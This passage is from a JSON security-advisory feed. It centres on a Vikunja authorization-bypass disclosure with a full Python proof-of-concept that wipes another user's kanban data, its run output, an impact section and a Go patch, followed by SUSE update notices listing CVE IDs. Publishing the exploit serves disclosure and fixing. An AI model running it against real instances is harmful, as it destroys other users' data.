2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:3456\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v1\"\n\nVICTIM_USER = \"victim_poc\"\nVICTIM_PASS = \"VictimPocPassword!2025\"\nATTACKER_USER = \"attacker_poc\"\nATTACKER_PASS = \"AttackerPocPassword!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helpers ----\n\ndef register(username, password):\n    requests.post(f\"{API}/register\", json={\n        \"username\": username,\n        \"email\":    f\"{username}@poc.local\",\n        \"password\": password,\n    })  # ignore 400 if user already exists\n\ndef login(username, password):\n    r = requests.post(f\"{API}/login\", json={\n        \"username\": username, \"password\": password,\n    })\n    r.raise_for_status()\n    return r.json()[\"token\"]\n\ndef auth(token):\n    return {\"Authorization\": f\"Bearer {token}\",\n            \"Content-Type\":  \"application/json\"}\n\n\n# ---- Victim setup: project + kanban view + tasks + bucket assignments ----\n\nprint(\"[*] Setting up VICTIM (target)\")\nregister(VICTIM_USER, VICTIM_PASS)\nvt = login(VICTIM_USER, VICTIM_PASS)\n\n# Create a project (kanban view + default buckets are created automatically).\nproj = requests.put(f\"{API}/projects\",\n                    headers=auth(vt),\n                    json={\"title\": \"Victim Project\"}).json()\nvictim_pid = proj[\"id\"]\n\n# Find the auto-created kanban view.\nviews = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                     headers=auth(vt)).json()\nkanban_view = next(v for v in views if v[\"view_kind\"] == \"kanban\")\nvictim_vid  = kanban_view[\"id\"]\n\n# Drop a few tasks into the project — Vikunja will auto-place them in the\n# default bucket of the kanban view, populating `task_buckets`.\ntask_ids = []\nfor i in range(3):\n    t = requests.put(f\"{API}/projects/{victim_pid}/tasks\",\n                     headers=auth(vt),\n                     json={\"title\": f\"Victim task {i}\"}).json()\n    task_ids.append(t[\"id\"])\n\n# Touching the view via the bucket endpoint forces task_position rows to\n# materialise. Read the buckets-with-tasks endpoint once.\nrequests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n)\n\n# Confirm the kanban state has populated buckets+tasks.\nbuckets = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_before = sum(len(b.get(\"tasks\") or []) for b in buckets)\nprint(f\"[*] Victim project={victim_pid}, view={victim_vid}, \"\n      f\"tasks_in_buckets BEFORE = {total_tasks_before}\")\nassert total_tasks_before \u003e 0, \"PoC requires at least 1 task in the kanban\"\n\n\n# ---- Attacker setup: a throwaway project owned by the attacker ----\n\nprint(\"\\n[*] Setting up ATTACKER (any user can do this)\")\nregister(ATTACKER_USER, ATTACKER_PASS)\nat = login(ATTACKER_USER, ATTACKER_PASS)\n\np_a = requests.put(f\"{API}/projects\",\n                   headers=auth(at),\n                   json={\"title\": \"Attacker Throwaway\"}).json()\nattacker_pid = p_a[\"id\"]\nprint(f\"[*] Attacker project = {attacker_pid} \"\n      f\"(attacker is Admin via OwnerID)\")\n\n\n# ---- ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: trainer-equivalent — wipe victim's kanban via own project\")\nprint(f\"{'='*65}\")\n\nresp = requests.delete(\n    f\"{API}/projects/{attacker_pid}/views/{victim_vid}\",\n    headers=auth(at),\n)\nprint(f\"\\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}\")\nprint(f\"  (Logged in as: {ATTACKER_USER}, \"\n      f\"who is NOT a member of victim project {victim_pid})\")\nprint(f\"  Response: HTTP {resp.status_code}  body={resp.text!r}\")\n\n\n# ---- VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\n# View must still exist (the scoped first delete didn't match).\nviews_after = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                           headers=auth(vt)).json()\nview_still_there = any(v[\"id\"] == victim_vid for v in views_after)\n\n# But the buckets-with-tasks should now be empty (task_buckets wiped).\nbuckets_after = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_after = sum(len(b.get(\"tasks\") or []) for b in buckets_after)\n\nprint(f\"\\n  View {victim_vid} still exists?           {view_still_there}\")\nprint(f\"  Tasks in buckets BEFORE attack:           {total_tasks_before}\")\nprint(f\"  Tasks in buckets AFTER attack:            {total_tasks_after}\")\n\nif view_still_there and total_tasks_after == 0 and total_tasks_before \u003e 0:\n    print(\"\"\"\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user's kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Attack did not land — patched build or unexpected state.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[*] Setting up VICTIM (target)\n[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3\n\n[*] Setting up ATTACKER (any user can do this)\n[*] Attacker project = 43 (attacker is Admin via OwnerID)\n\n=================================================================\n  ATTACK: trainer-equivalent — wipe victim's kanban via own project\n=================================================================\n\n  DELETE /api/v1/projects/43/views/87\n  (Logged in as: attacker_poc, who is NOT a member of victim project 42)\n  Response: HTTP 200  body='{\"message\":\"Successfully deleted.\"}'\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  View 87 still exists?           True\n  Tasks in buckets BEFORE attack:           3\n  Tasks in buckets AFTER attack:            0\n\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user's kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n```\n\n### Impact\n\n1. **Cross-tenant data destruction.** Any authenticated user — local-auth registration is enough on default deployments — can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.\n\n2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.\n\n3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/\u003cown-project\u003e/views/\u003ci\u003e` for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were \"real\" without watching for victim complaints.\n\n4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.\n\n### Fix\n\nEither gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.\n\nMinimal patch — `pkg/models/project_view.go`, inside `Delete()`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    affected, err := s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n    if affected == 0 {\n        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.\n        // Either way, do not cascade — return an error so the API responds 404.\n        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}\n    }\n\n    if _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}); err != nil {\n        return\n    }\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})\n    return\n}\n```\n\nThis makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, `CanDelete` should also load the view and verify `view.ProjectID == pv.ProjectID` before granting permission, so the 404 path in `Delete` becomes a backstop rather than the only line of defence — mirroring the pattern used by `Bucket.canDoBucket` and `ProjectView.Update` elsewhere in the same file.","status":"published","published":"2026-08-28T16:50:34Z","modified":"2026-09-02T19:55:47.539526064Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-285","CWE-639"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"GO-2026-6313","title":"Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api","description":"Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.4.0.","status":"published","published":"2026-09-02T18:37:27Z","modified":"2026-09-02T19:45:14.030309195Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21812-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:52:09Z","modified":"2026-09-10T18:23:18.964541257Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23692-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.31116925Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23712-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.805639295Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}